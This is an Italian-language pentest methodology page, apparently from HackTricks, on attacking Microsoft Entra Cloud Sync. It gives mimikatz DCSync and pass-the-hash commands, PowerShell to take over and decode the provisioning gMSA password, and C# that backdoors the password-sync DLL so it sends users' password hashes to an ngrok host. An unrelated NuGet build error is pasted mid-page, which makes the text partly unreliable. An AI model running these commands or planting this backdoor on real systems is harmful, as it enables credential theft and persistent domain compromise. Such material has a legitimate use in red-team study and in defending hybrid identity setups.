Az - Cloud Sync

Reading time: 9 minutes

Informazioni di Base

Cloud Sync è fondamentalmente il nuovo modo di Azure per synchronizzare gli utenti da AD in Entra ID.

From the docs: Microsoft Entra Cloud Sync è una nuova offerta di Microsoft progettata per soddisfare e raggiungere i tuoi obiettivi di identità ibrida per la sincronizzazione di utenti, gruppi e contatti in Microsoft Entra ID. Questo viene realizzato utilizzando l'agente di provisioning cloud di Microsoft Entra invece dell'applicazione Microsoft Entra Connect. Tuttavia, può essere utilizzato insieme a Microsoft Entra Connect Sync.

Principali Generati

Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che nella directory On-Premise:

• In Entra ID l'utente On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) viene creato con il ruolo Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

• In Entra ID viene anche creata il gruppo AAD DC Administrators senza membri o proprietari. Questo gruppo è utile se viene utilizzato Microsoft Entra Domain Services.

• Nell'AD, viene creata la Service Account provAgentgMSA con un SamAccountName come pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), oppure una personalizzata con queste autorizzazioni necessarie. Di solito viene creata quella predefinita.

Sincronizzazione della Password

La sezione è molto simile a quella di:

Az - Connect Sync

• La sincronizzazione dell'hash della password può essere abilitata in modo che gli utenti possano accedere a Entra ID utilizzando le loro password da AD. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID.
• La scrittura della password può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo la documentazione attuale, per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla sezione Az Connect Sync per ulteriori informazioni.
• Scrittura dei gruppi: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD.

Pivoting

AD --> Entra ID

• Se gli utenti AD vengono sincronizzati da AD a Entra ID, il pivoting da AD a Entra ID è semplice, basta compromettere la password di un utente o cambiare la password di un utente o creare un nuovo utente e aspettare che venga sincronizzato nella directory di Entra ID (di solito solo pochi minuti).

Quindi potresti ad esempio

• Compromettere l'account provAgentgMSA, eseguire un attacco DCSync, decifrare la password di un utente e poi usarla per accedere a Entra ID.
• Creare semplicemente un nuovo utente nell'AD, aspettare che venga sincronizzato in Entra ID e poi usarlo per accedere a Entra ID.
• Modificare la password di un utente nell'AD, aspettare che venga sincronizzata in Entra ID e poi usarla per accedere a Entra ID.

Per compromettere le credenziali di provAgentgMSA:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Ora puoi utilizzare l'hash del gMSA per eseguire un attacco Pass-the-Hash contro Entra ID utilizzando l'account provAgentgMSA e mantenere la persistenza potendo eseguire attacchi DCSync contro l'AD.

Per ulteriori informazioni su come compromettere un Active Directory controlla:

Active Directory Methodology - HackTricks

Az - Dynamic Groups Privesc

Per quanto riguarda la persistenza, questo post del blog suggerisce che è possibile utilizzare dnSpy per backdoorare il dll Microsoft.Online.Passwordsynchronisation.dll situato in C:\Program Files\Microsoft Azure AD Sync\Bin che viene utilizzato dall'agente Cloud Sync per eseguire la sincronizzazione delle password, facendolo esfiltrare gli hash delle password degli utenti sincronizzati a un server remoto. Gli hash vengono generati all'interno della classe PasswordHashGenerator e il post del blog suggerisce di aggiungere del codice in modo che la classe appaia così (nota l'uso di use System.Net e l'uso di WebClient per esfiltrare gli hash delle password):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

• Se Password Writeback è abilitato, puoi modificare la password di alcuni utenti da Entra ID e se hai accesso alla rete AD, connetterti utilizzando quelle credenziali. Per ulteriori informazioni, controlla la sezione Az Connect Sync poiché il password writeback è configurato utilizzando quell'agente.

• A questo punto, Cloud Sync consente anche "Microsoft Entra ID to AD", ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti da EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

• Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati in cloud aggiuntivi.
• Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato in cloud possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta.

Quindi la superficie di attacco (e l'utilità) di questo servizio è notevolmente ridotta poiché un attaccante dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e entrambi devono apparentemente essere nella stessa foresta).

Enumeration

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"